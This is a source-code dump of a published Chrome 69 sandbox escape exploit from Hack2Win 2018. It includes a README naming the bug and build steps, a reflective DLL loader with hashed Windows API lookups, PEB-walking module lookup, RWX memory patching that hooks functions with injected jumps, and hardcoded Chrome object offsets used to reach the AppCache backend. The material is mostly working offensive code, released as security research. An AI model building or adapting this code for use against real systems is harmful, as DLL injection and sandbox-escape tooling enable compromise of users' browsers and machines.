├── requirements.txt ├── inject ├── payload.dll ├── payload │ ├── dllmain.cpp │ ├── payload.cpp │ ├── stdafx.cpp │ ├── targetver.h │ ├── payload.h │ ├── patch.h │ ├── internals.cpp │ ├── reflective_loader.h │ ├── common.h │ ├── patch.cpp │ ├── chrome.h │ ├── payload.vcxproj.filters │ ├── payload.sln │ ├── internals.h │ ├── payload.vcxproj │ ├── chrome.cpp │ └── reflective_loader.c ├── payload_test │ ├── main.cpp │ ├── stdafx.h │ ├── stdafx.cpp │ ├── targetver.h │ ├── payload_test.vcxproj.filters │ ├── loader.c │ └── payload_test.vcxproj └── .gitignore ├── pwn.html ├── README.md ├── LICENSE ├── pwn.py ├── renderer-271eaf.patch └── sandbox └── pwn.js /requirements.txt: -------------------------------------------------------------------------------- 1 | gevent 2 | pefile 3 | -------------------------------------------------------------------------------- /inject/payload.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/niklasb/hack2win-chrome/HEAD/inject/payload.dll -------------------------------------------------------------------------------- /inject/payload/dllmain.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/niklasb/hack2win-chrome/HEAD/inject/payload/dllmain.cpp -------------------------------------------------------------------------------- /inject/payload/payload.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/niklasb/hack2win-chrome/HEAD/inject/payload/payload.cpp -------------------------------------------------------------------------------- /inject/payload/stdafx.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/niklasb/hack2win-chrome/HEAD/inject/payload/stdafx.cpp -------------------------------------------------------------------------------- /inject/payload/targetver.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/niklasb/hack2win-chrome/HEAD/inject/payload/targetver.h -------------------------------------------------------------------------------- /inject/payload_test/main.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/niklasb/hack2win-chrome/HEAD/inject/payload_test/main.cpp -------------------------------------------------------------------------------- /inject/payload_test/stdafx.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/niklasb/hack2win-chrome/HEAD/inject/payload_test/stdafx.h -------------------------------------------------------------------------------- /inject/payload_test/stdafx.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/niklasb/hack2win-chrome/HEAD/inject/payload_test/stdafx.cpp -------------------------------------------------------------------------------- /inject/payload_test/targetver.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/niklasb/hack2win-chrome/HEAD/inject/payload_test/targetver.h -------------------------------------------------------------------------------- /inject/payload/payload.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | typedef struct _context { 6 | } context; 7 | 8 | void payload(volatile context* ctx); -------------------------------------------------------------------------------- /pwn.html: -------------------------------------------------------------------------------- 1 |

2 | 

3 | 

4 | 

5 | 
6 | 


--------------------------------------------------------------------------------
/inject/payload/patch.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | 
3 | // add a function call to `stub` at function entry
4 | void patch_entry(void* location, size_t prefix_len, void* stub);
5 | void patch_replace(void* location, void* stub);
6 | void insert_jmp(char* location, void* target, bool call);


--------------------------------------------------------------------------------
/inject/payload/internals.cpp:
--------------------------------------------------------------------------------
 1 | #include "internals.h"
 2 | 
 3 | char* find_mod(const char* name) {
 4 | 	_PPEB peb = (_PPEB)__readgsqword(0x60);
 5 | 
 6 | 	// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
 7 | 	PPEB_LDR_DATA ldr = peb->pLdr;
 8 | 
 9 | 	// get the first entry of the InMemoryOrder module list
10 | 	PLDR_DATA_TABLE_ENTRY entry = (PLDR_DATA_TABLE_ENTRY)ldr->InMemoryOrderModuleList.Flink;
11 | 	PLDR_DATA_TABLE_ENTRY first = entry;
12 | 	char buf[1024];
13 | 	do {
14 | 		entry->BaseDllName.pBuffer;
15 | 		int i = 0;
16 | 		for (; i < entry->BaseDllName.Length; ++i) {
17 | 			buf[i] = entry->BaseDllName.pBuffer[i] & 0xff;
18 | 		}
19 | 		buf[i] = 0;
20 | 		if (!_stricmp(buf, name))
21 | 			return (char*)entry->DllBase;
22 | 		entry = (PLDR_DATA_TABLE_ENTRY)entry->InMemoryOrderModuleList.Flink;
23 | 	} while (entry && entry != first);
24 | 	return 0;
25 | }
26 | 


--------------------------------------------------------------------------------
/inject/payload/reflective_loader.h:
--------------------------------------------------------------------------------
 1 | #pragma once
 2 | 
 3 | #include 
 4 | #include 
 5 | 
 6 | #include "internals.h"
 7 | 
 8 | #pragma intrinsic(_rotr)
 9 | #pragma intrinsic(_rotr64)
10 | #pragma intrinsic(_ReturnAddress)
11 | 
12 | #define BITS64
13 | 
14 | 
15 | //#define INT3() __debugbreak()
16 | #define INT3() 
17 | 
18 | #define EXITFUNC_SEH        0xEA320EFE
19 | #define EXITFUNC_THREAD     0x0A2A1DE0
20 | #define EXITFUNC_PROCESS    0x56A2B5F0
21 | 
22 | typedef HMODULE(WINAPI * LOADLIBRARYA)(LPCSTR);
23 | typedef FARPROC(WINAPI * GETPROCADDRESS)(HMODULE, LPCSTR);
24 | typedef LPVOID(WINAPI * VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
25 | typedef (*PRINTF)(const char*, ...);
26 | 
27 | #define KERNEL32DLL_HASH       0x6A4ABC5B
28 | #define LOADLIBRARYA_HASH      0xEC0E4E8E
29 | #define GETPROCADDRESS_HASH    0x7C0DFCAA
30 | #define VIRTUALALLOC_HASH      0x91AFCA54
31 | 
32 | #define HASH_KEY    13
33 | 
34 | __declspec(dllexport) UINT_PTR WINAPI Loader(void* addr, void* param);


--------------------------------------------------------------------------------
/inject/payload/common.h:
--------------------------------------------------------------------------------
 1 | #pragma once
 2 | 
 3 | #include 
 4 | #include 
 5 | #include 
 6 | #include 
 7 | #include 
 8 | #include  
 9 | #include 
10 | 
11 | #define SHELLCODE 1
12 | 
13 | typedef ULONG(__cdecl *f_DbgPrintEx)(
14 | 	_In_ ULONG ComponentId,
15 | 	_In_ ULONG Level,
16 | 	_In_ PCSTR Format,
17 | 	...
18 | 	);
19 | 
20 | extern f_DbgPrintEx DbgPrintEx;
21 | extern FILE* logfile;
22 | 
23 | #define LOG(fmt, ...) do {if(logfile){fprintf(logfile, fmt, __VA_ARGS__);fflush(0);}}while(0)
24 | //#define LOG(fmt, ...) DbgPrintEx(77 /*DPFLTR_IHVDRIVER_ID*/, 3 /*DPFLTR_INFO_LEVEL*/, fmt, __VA_ARGS__);
25 | //#define LOG(fmt, ...) do {char logbuf[1024];sprintf_s(logbuf,sizeof logbuf, fmt, __VA_ARGS__);MessageBoxA(0, logbuf,"hi", 0);}while(0)
26 | //#define LOG(fmt, ...) do {}while(0)
27 | 
28 | #define MSGBOX(fmt, ...) do {char logbuf[1024];sprintf_s(logbuf,sizeof logbuf, fmt, __VA_ARGS__);MessageBoxA(0, logbuf,"hi", 0);}while(0)
29 | 
30 | #define PROP(x) do{bool res = (x); if (!res) return res;}while(0)
31 | 
32 | //void* memcpy_hack(void* dest, const void* src, size_t len);
33 | 


--------------------------------------------------------------------------------
/inject/payload/patch.cpp:
--------------------------------------------------------------------------------
 1 | #include 
 2 | #include "patch.h"
 3 | 
 4 | void insert_jmp(char* location, void* target, bool call) {
 5 | 	location[0] = 0x49;
 6 | 	location[1] = 0xbb;  // mov r11,...
 7 | 	*(void**)(location + 2) = target;
 8 | 	location[10] = 0x41;
 9 | 	location[11] = 0xff;
10 | 	location[12] = call ? 0xd3 : 0xe3;
11 | }
12 | 
13 | // add a function call to `stub` at function entry
14 | // TODO this doesn't seem to work properly, why? stack misalignment?
15 | void patch_entry(char* location, size_t prefix_len, void* stub) {
16 | 	char* tramp = (char*)VirtualAlloc(0, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
17 | 	DWORD dummy;
18 | 	VirtualProtect((void*)((DWORD64)location & ~0xfff), 0x2000, PAGE_EXECUTE_READWRITE, &dummy);
19 | 
20 | 	/*
21 | 	memcpy(tramp, location, prefix_len);
22 | 	insert_jmp(tramp + prefix_len, location + prefix_len, 0);
23 | 	insert_jmp(location, tramp, 0);
24 | 	*/
25 | 	
26 | 	insert_jmp(tramp, stub, 1);
27 | 	memcpy(tramp + 13, location, prefix_len);
28 | 	insert_jmp(tramp + 13 + prefix_len, location + prefix_len, 0);
29 | 	insert_jmp(location, tramp, 0);
30 | 	
31 | }
32 | 
33 | // replace function by stub
34 | void patch_replace(void* location, void* stub) {
35 | 	char* s = (char*)location;
36 | 	DWORD dummy;
37 | 	VirtualProtect((void*)((DWORD64)location & ~0xfff), 0x2000, PAGE_EXECUTE_READWRITE, &dummy);
38 | 	insert_jmp(s, stub, 0);
39 | }


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | ## Hack2Win 2018 -- Chrome sandbox
 2 | 
 3 | This is a sandbox escape exploit for Chrome 69.0.3497.92 / Windows 1803 (up to date on Sep 21st 2018)
 4 | 
 5 | **Authors**: [Ned Williamson](https://twitter.com/NedWilliamson) (bug & exploit), 
 6 | [Niklas Baumstark](https://twitter.com/_niklasb) (exploit & plugging everything together)
 7 | 
 8 | Bug report/writeup: https://bugs.chromium.org/p/chromium/issues/detail?id=888926
 9 | 
10 | 
11 | ### Building vulnerable Chrome & patching the renderer
12 | 
13 | It would be hard to reproduce the full-chain exploit because Chrome & Windows version have 
14 | to match what we targetted back in September 2018. The files for the renderer patch
15 | via DLL injection are just here for reference
16 | (in `inject/`).
17 | 
18 | Instead you can build a vulnerable version of Chrome and apply custom renderer patches
19 | to reproduce the sandbox escape as a standalone exploit:
20 | In an existing Chromium source directory, do `git checkout 271eaf && gclient sync`, then rebuild.
21 | To apply the renderer patches required for the standalone sandbox escape, do 
22 | `patch -p1 < /path/to/renderer-271eaf.patch`.
23 | 
24 | 
25 | ### Running
26 | 
27 | `pwn.py` is the web server that serves the exploit. Run it on Linux (or WSL) and start
28 | Chrome in guest mode, then browse to `http://localhost:8000/`
29 | 
30 | ## License
31 | 
32 | This code is released under a BSD license specified in the file [`LICENSE`](https://github.com/niklasb/hack2win-chrome/blob/master/LICENSE)
33 | 


--------------------------------------------------------------------------------
/inject/payload_test/payload_test.vcxproj.filters:
--------------------------------------------------------------------------------
 1 | 
 2 | 
 3 |   
 4 |     
 5 |       {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
 6 |       cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
 7 |     
 8 |     
 9 |       {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 |       h;hh;hpp;hxx;hm;inl;inc;xsd
11 |     
12 |     
13 |       {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 |       rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |     
16 |   
17 |   
18 |     
19 |       Header Files
20 |     
21 |     
22 |       Header Files
23 |     
24 |   
25 |   
26 |     
27 |       Source Files
28 |     
29 |     
30 |       Source Files
31 |     
32 |     
33 |       Source Files
34 |     
35 |   
36 | 


--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
 1 | Copyright (c) 2018, Niklas Baumstark & Ned Williamson
 2 | All rights reserved.
 3 | 
 4 | Redistribution and use in source and binary forms, with or without
 5 | modification, are permitted provided that the following conditions are met:
 6 | 
 7 | 1. Redistributions of source code must retain the above copyright notice, this
 8 |    list of conditions and the following disclaimer.
 9 | 2. Redistributions in binary form must reproduce the above copyright notice,
10 |    this list of conditions and the following disclaimer in the documentation
11 |    and/or other materials provided with the distribution.
12 | 
13 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
14 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
15 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
16 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
17 | ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
18 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
19 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
20 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
21 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
22 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
23 | 
24 | The views and conclusions contained in the software and documentation are those
25 | of the authors and should not be interpreted as representing official policies,
26 | either expressed or implied, of the FreeBSD Project.
27 | 


--------------------------------------------------------------------------------
/inject/payload/chrome.h:
--------------------------------------------------------------------------------
 1 | #pragma once
 2 | 
 3 | #include 
 4 | 
 5 | namespace v8 {
 6 | namespace debug {
 7 | 
 8 | struct ConsoleCallArguments {
 9 | 	uint64_t* implicit_args;
10 | 	uint64_t* values;
11 | 	uint32_t length;
12 | };
13 | 
14 | }
15 | }
16 | 
17 | struct GURL {
18 | 	char pad[0x80];
19 | };
20 | 
21 | namespace base {
22 | struct BasicStringPiece {
23 | 	char* ptr;
24 | 	size_t length;
25 | };
26 | }
27 | 
28 | namespace content {
29 | struct AppCacheBackend {
30 | 	struct Vtable {
31 | 		void(*RegisterHost)(AppCacheBackend*, int);
32 | 		void(*UnregisterHost)(AppCacheBackend*, int);
33 | 		void* pad1;
34 | 		void(*SelectCache)(AppCacheBackend*, int, GURL*, int64_t, GURL*);
35 | 	};
36 | 
37 | 	Vtable* vtable;
38 | };
39 | 
40 | struct WebApplicationCacheHostImpl {
41 | 	char pad[0x10];
42 | 	AppCacheBackend* backend;
43 | };
44 | }
45 | 
46 | namespace blink {
47 | 
48 | 
49 | // blink_core!blink::ApplicationCacheHost
50 | struct ApplicationCacheHost {
51 | 	char pad[0x30];
52 | 	content::WebApplicationCacheHostImpl* host;
53 | };
54 | 
55 | // blink_core!blink::DocumentLoader
56 | struct DocumentLoader {
57 | 	char pad[0x848];
58 | 	ApplicationCacheHost* application_cache_host;
59 | };
60 | 
61 | // blink_core!blink::FrameLoader
62 | struct FrameLoader {
63 | 	char pad[0x20];
64 | 	DocumentLoader* document_loader;
65 | };
66 | 
67 | // blink_core!blink::LocalFrame
68 | struct LocalFrame {
69 | 	char pad[0x508];
70 | 	FrameLoader loader;
71 | };
72 | 
73 | // blink_core!blink::Document
74 | struct Document {
75 | 	DocumentLoader* Loader() {
76 | 		return frame->loader.document_loader;
77 | 	}
78 | 
79 | 	char pad[0x208];
80 | 	LocalFrame* frame;
81 | };
82 | }
83 | 
84 | bool patch_chrome();


--------------------------------------------------------------------------------
/inject/payload/payload.vcxproj.filters:
--------------------------------------------------------------------------------
 1 | 
 2 | 
 3 |   
 4 |     
 5 |       {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
 6 |       cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
 7 |     
 8 |     
 9 |       {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 |       h;hh;hpp;hxx;hm;inl;inc;xsd
11 |     
12 |     
13 |       {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 |       rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |     
16 |   
17 |   
18 |     
19 |       Header Files
20 |     
21 |     
22 |       Header Files
23 |     
24 |     
25 |       Header Files
26 |     
27 |     
28 |       Header Files
29 |     
30 |     
31 |       Header Files
32 |     
33 |     
34 |       Header Files
35 |     
36 |     
37 |       Header Files
38 |     
39 |   
40 |   
41 |     
42 |       Source Files
43 |     
44 |     
45 |       Source Files
46 |     
47 |     
48 |       Source Files
49 |     
50 |     
51 |       Source Files
52 |     
53 |     
54 |       Source Files
55 |     
56 |     
57 |       Source Files
58 |     
59 |   
60 | 


--------------------------------------------------------------------------------
/inject/payload/payload.sln:
--------------------------------------------------------------------------------
 1 | 
 2 | Microsoft Visual Studio Solution File, Format Version 12.00
 3 | # Visual Studio 15
 4 | VisualStudioVersion = 15.0.27004.2002
 5 | MinimumVisualStudioVersion = 10.0.40219.1
 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "payload", "payload.vcxproj", "{46B8D804-01E3-42A2-8CDE-E7E5C6186365}"
 7 | EndProject
 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "payload_test", "..\payload_test\payload_test.vcxproj", "{F774387E-C91F-4830-BAC1-BB6F42159479}"
 9 | 	ProjectSection(ProjectDependencies) = postProject
10 | 		{46B8D804-01E3-42A2-8CDE-E7E5C6186365} = {46B8D804-01E3-42A2-8CDE-E7E5C6186365}
11 | 	EndProjectSection
12 | EndProject
13 | Global
14 | 	GlobalSection(SolutionConfigurationPlatforms) = preSolution
15 | 		Debug|x64 = Debug|x64
16 | 		Debug|x86 = Debug|x86
17 | 		Release|x64 = Release|x64
18 | 		Release|x86 = Release|x86
19 | 	EndGlobalSection
20 | 	GlobalSection(ProjectConfigurationPlatforms) = postSolution
21 | 		{46B8D804-01E3-42A2-8CDE-E7E5C6186365}.Debug|x64.ActiveCfg = Debug|x64
22 | 		{46B8D804-01E3-42A2-8CDE-E7E5C6186365}.Debug|x64.Build.0 = Debug|x64
23 | 		{46B8D804-01E3-42A2-8CDE-E7E5C6186365}.Debug|x86.ActiveCfg = Debug|Win32
24 | 		{46B8D804-01E3-42A2-8CDE-E7E5C6186365}.Debug|x86.Build.0 = Debug|Win32
25 | 		{46B8D804-01E3-42A2-8CDE-E7E5C6186365}.Release|x64.ActiveCfg = Release|x64
26 | 		{46B8D804-01E3-42A2-8CDE-E7E5C6186365}.Release|x64.Build.0 = Release|x64
27 | 		{46B8D804-01E3-42A2-8CDE-E7E5C6186365}.Release|x86.ActiveCfg = Release|Win32
28 | 		{46B8D804-01E3-42A2-8CDE-E7E5C6186365}.Release|x86.Build.0 = Release|Win32
29 | 		{F774387E-C91F-4830-BAC1-BB6F42159479}.Debug|x64.ActiveCfg = Debug|x64
30 | 		{F774387E-C91F-4830-BAC1-BB6F42159479}.Debug|x64.Build.0 = Debug|x64
31 | 		{F774387E-C91F-4830-BAC1-BB6F42159479}.Debug|x86.ActiveCfg = Debug|Win32
32 | 		{F774387E-C91F-4830-BAC1-BB6F42159479}.Debug|x86.Build.0 = Debug|Win32
33 | 		{F774387E-C91F-4830-BAC1-BB6F42159479}.Release|x64.ActiveCfg = Release|x64
34 | 		{F774387E-C91F-4830-BAC1-BB6F42159479}.Release|x64.Build.0 = Release|x64
35 | 		{F774387E-C91F-4830-BAC1-BB6F42159479}.Release|x86.ActiveCfg = Release|Win32
36 | 		{F774387E-C91F-4830-BAC1-BB6F42159479}.Release|x86.Build.0 = Release|Win32
37 | 	EndGlobalSection
38 | 	GlobalSection(SolutionProperties) = preSolution
39 | 		HideSolutionNode = FALSE
40 | 	EndGlobalSection
41 | 	GlobalSection(ExtensibilityGlobals) = postSolution
42 | 		SolutionGuid = {1E41C270-5B1C-4677-B00C-264A02837D5F}
43 | 	EndGlobalSection
44 | EndGlobal
45 | 


--------------------------------------------------------------------------------
/inject/payload/internals.h:
--------------------------------------------------------------------------------
  1 | #pragma once
  2 | #include 
  3 | 
  4 | 
  5 | typedef struct _UNICODE_STR
  6 | {
  7 | 	USHORT Length;
  8 | 	USHORT MaximumLength;
  9 | 	PWSTR pBuffer;
 10 | } UNICODE_STR, *PUNICODE_STR;
 11 | 
 12 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
 13 | //__declspec( align(8) )
 14 | typedef struct _LDR_DATA_TABLE_ENTRY
 15 | {
 16 | 	//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
 17 | 	LIST_ENTRY InMemoryOrderModuleList;
 18 | 	LIST_ENTRY InInitializationOrderModuleList;
 19 | 	PVOID DllBase;
 20 | 	PVOID EntryPoint;
 21 | 	ULONG SizeOfImage;
 22 | 	UNICODE_STR FullDllName;
 23 | 	UNICODE_STR BaseDllName;
 24 | 	ULONG Flags;
 25 | 	SHORT LoadCount;
 26 | 	SHORT TlsIndex;
 27 | 	LIST_ENTRY HashTableEntry;
 28 | 	ULONG TimeDateStamp;
 29 | } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
 30 | 
 31 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA
 32 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
 33 | {
 34 | 	DWORD dwLength;
 35 | 	DWORD dwInitialized;
 36 | 	LPVOID lpSsHandle;
 37 | 	LIST_ENTRY InLoadOrderModuleList;
 38 | 	LIST_ENTRY InMemoryOrderModuleList;
 39 | 	LIST_ENTRY InInitializationOrderModuleList;
 40 | 	LPVOID lpEntryInProgress;
 41 | } PEB_LDR_DATA, *PPEB_LDR_DATA;
 42 | 
 43 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
 44 | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
 45 | {
 46 | 	struct _PEB_FREE_BLOCK * pNext;
 47 | 	DWORD dwSize;
 48 | } PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;
 49 | 
 50 | // struct _PEB is defined in Winternl.h but it is incomplete
 51 | // WinDbg> dt -v ntdll!_PEB
 52 | typedef struct __PEB // 65 elements, 0x210 bytes
 53 | {
 54 | 	BYTE bInheritedAddressSpace;
 55 | 	BYTE bReadImageFileExecOptions;
 56 | 	BYTE bBeingDebugged;
 57 | 	BYTE bSpareBool;
 58 | 	LPVOID lpMutant;
 59 | 	LPVOID lpImageBaseAddress;
 60 | 	PPEB_LDR_DATA pLdr;
 61 | 	LPVOID lpProcessParameters;
 62 | 	LPVOID lpSubSystemData;
 63 | 	LPVOID lpProcessHeap;
 64 | 	PRTL_CRITICAL_SECTION pFastPebLock;
 65 | 	LPVOID lpFastPebLockRoutine;
 66 | 	LPVOID lpFastPebUnlockRoutine;
 67 | 	DWORD dwEnvironmentUpdateCount;
 68 | 	LPVOID lpKernelCallbackTable;
 69 | 	DWORD dwSystemReserved;
 70 | 	DWORD dwAtlThunkSListPtr32;
 71 | 	PPEB_FREE_BLOCK pFreeList;
 72 | 	DWORD dwTlsExpansionCounter;
 73 | 	LPVOID lpTlsBitmap;
 74 | 	DWORD dwTlsBitmapBits[2];
 75 | 	LPVOID lpReadOnlySharedMemoryBase;
 76 | 	LPVOID lpReadOnlySharedMemoryHeap;
 77 | 	LPVOID lpReadOnlyStaticServerData;
 78 | 	LPVOID lpAnsiCodePageData;
 79 | 	LPVOID lpOemCodePageData;
 80 | 	LPVOID lpUnicodeCaseTableData;
 81 | 	DWORD dwNumberOfProcessors;
 82 | 	DWORD dwNtGlobalFlag;
 83 | 	LARGE_INTEGER liCriticalSectionTimeout;
 84 | 	DWORD dwHeapSegmentReserve;
 85 | 	DWORD dwHeapSegmentCommit;
 86 | 	DWORD dwHeapDeCommitTotalFreeThreshold;
 87 | 	DWORD dwHeapDeCommitFreeBlockThreshold;
 88 | 	DWORD dwNumberOfHeaps;
 89 | 	DWORD dwMaximumNumberOfHeaps;
 90 | 	LPVOID lpProcessHeaps;
 91 | 	LPVOID lpGdiSharedHandleTable;
 92 | 	LPVOID lpProcessStarterHelper;
 93 | 	DWORD dwGdiDCAttributeList;
 94 | 	LPVOID lpLoaderLock;
 95 | 	DWORD dwOSMajorVersion;
 96 | 	DWORD dwOSMinorVersion;
 97 | 	WORD wOSBuildNumber;
 98 | 	WORD wOSCSDVersion;
 99 | 	DWORD dwOSPlatformId;
100 | 	DWORD dwImageSubsystem;
101 | 	DWORD dwImageSubsystemMajorVersion;
102 | 	DWORD dwImageSubsystemMinorVersion;
103 | 	DWORD dwImageProcessAffinityMask;
104 | 	DWORD dwGdiHandleBuffer[34];
105 | 	LPVOID lpPostProcessInitRoutine;
106 | 	LPVOID lpTlsExpansionBitmap;
107 | 	DWORD dwTlsExpansionBitmapBits[32];
108 | 	DWORD dwSessionId;
109 | 	ULARGE_INTEGER liAppCompatFlags;
110 | 	ULARGE_INTEGER liAppCompatFlagsUser;
111 | 	LPVOID lppShimData;
112 | 	LPVOID lpAppCompatInfo;
113 | 	UNICODE_STR usCSDVersion;
114 | 	LPVOID lpActivationContextData;
115 | 	LPVOID lpProcessAssemblyStorageMap;
116 | 	LPVOID lpSystemDefaultActivationContextData;
117 | 	LPVOID lpSystemAssemblyStorageMap;
118 | 	DWORD dwMinimumStackCommit;
119 | } _PEB, *_PPEB;
120 | 
121 | typedef struct
122 | {
123 | 	WORD    offset : 12;
124 | 	WORD    type : 4;
125 | } IMAGE_RELOC, *PIMAGE_RELOC;
126 | 
127 | char* find_mod(const char* name);


--------------------------------------------------------------------------------
/inject/payload_test/loader.c:
--------------------------------------------------------------------------------
  1 | #include 
  2 | 
  3 | #define BITS64
  4 | #define DEREF(name)    *(UINT_PTR*)(name)
  5 | #define DEREF_64(name) *(DWORD64*)(name)
  6 | #define DEREF_32(name) *(DWORD*)(name)
  7 | #define DEREF_16(name) *(WORD*)(name)
  8 | #define DEREF_8(name)  *(BYTE*)(name)
  9 | 
 10 | DWORD Rva2Offset(DWORD dwRva, UINT_PTR uiBaseAddress)
 11 | {
 12 | 	WORD wIndex = 0;
 13 | 	PIMAGE_SECTION_HEADER pSectionHeader = NULL;
 14 | 	PIMAGE_NT_HEADERS pNtHeaders = NULL;
 15 | 
 16 | 	pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
 17 | 
 18 | 	pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
 19 | 
 20 | 	if (dwRva < pSectionHeader[0].PointerToRawData)
 21 | 		return dwRva;
 22 | 
 23 | 	for (wIndex = 0; wIndex < pNtHeaders->FileHeader.NumberOfSections; wIndex++)
 24 | 	{
 25 | 		if (dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData))
 26 | 			return (dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData);
 27 | 	}
 28 | 
 29 | 	return 0;
 30 | }
 31 | 
 32 | DWORD GetLoaderOffset(VOID * lpReflectiveDllBuffer)
 33 | {
 34 | 	UINT_PTR uiBaseAddress = 0;
 35 | 	UINT_PTR uiExportDir = 0;
 36 | 	UINT_PTR uiNameArray = 0;
 37 | 	UINT_PTR uiAddressArray = 0;
 38 | 	UINT_PTR uiNameOrdinals = 0;
 39 | 	DWORD dwCounter = 0;
 40 | 
 41 | #ifdef BITS64
 42 | 	WORD magic = 0x020B; // PE32+
 43 | #else
 44 | 	WORD magic = 0x010B; // PE32
 45 | #endif
 46 | 
 47 | 	uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
 48 | 
 49 | 	// get the File Offset of the modules NT Header
 50 | 	uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
 51 | 
 52 | 	// currenlty we can only process a PE file which is the same type as the one this fuction has
 53 | 	// been compiled as, due to various offset in the PE structures being defined at compile time.
 54 | 	if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic != magic)
 55 | 		return 0;
 56 | 
 57 | 	// uiNameArray = the address of the modules export directory entry
 58 | 	uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
 59 | 
 60 | 	// get the File Offset of the export directory
 61 | 	uiExportDir = uiBaseAddress + Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress);
 62 | 
 63 | 	// get the File Offset for the array of name pointers
 64 | 	uiNameArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames, uiBaseAddress);
 65 | 
 66 | 	// get the File Offset for the array of addresses
 67 | 	uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress);
 68 | 
 69 | 	// get the File Offset for the array of name ordinals
 70 | 	uiNameOrdinals = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals, uiBaseAddress);
 71 | 
 72 | 	// get a counter for the number of exported functions...
 73 | 	dwCounter = ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->NumberOfNames;
 74 | 
 75 | 	// loop through all the exported functions to find the ReflectiveLoader
 76 | 	while (dwCounter--)
 77 | 	{
 78 | 		char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset(DEREF_32(uiNameArray), uiBaseAddress));
 79 | 
 80 | 		if (strstr(cpExportedFunctionName, "ReflectiveLoader") != NULL)
 81 | 		{
 82 | 			UINT_PTR addr = ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions;
 83 | 
 84 | 			// get the File Offset for the array of addresses
 85 | 			uiAddressArray = uiBaseAddress + Rva2Offset(addr, uiBaseAddress);
 86 | 
 87 | 			// use the functions name ordinal as an index into the array of name pointers
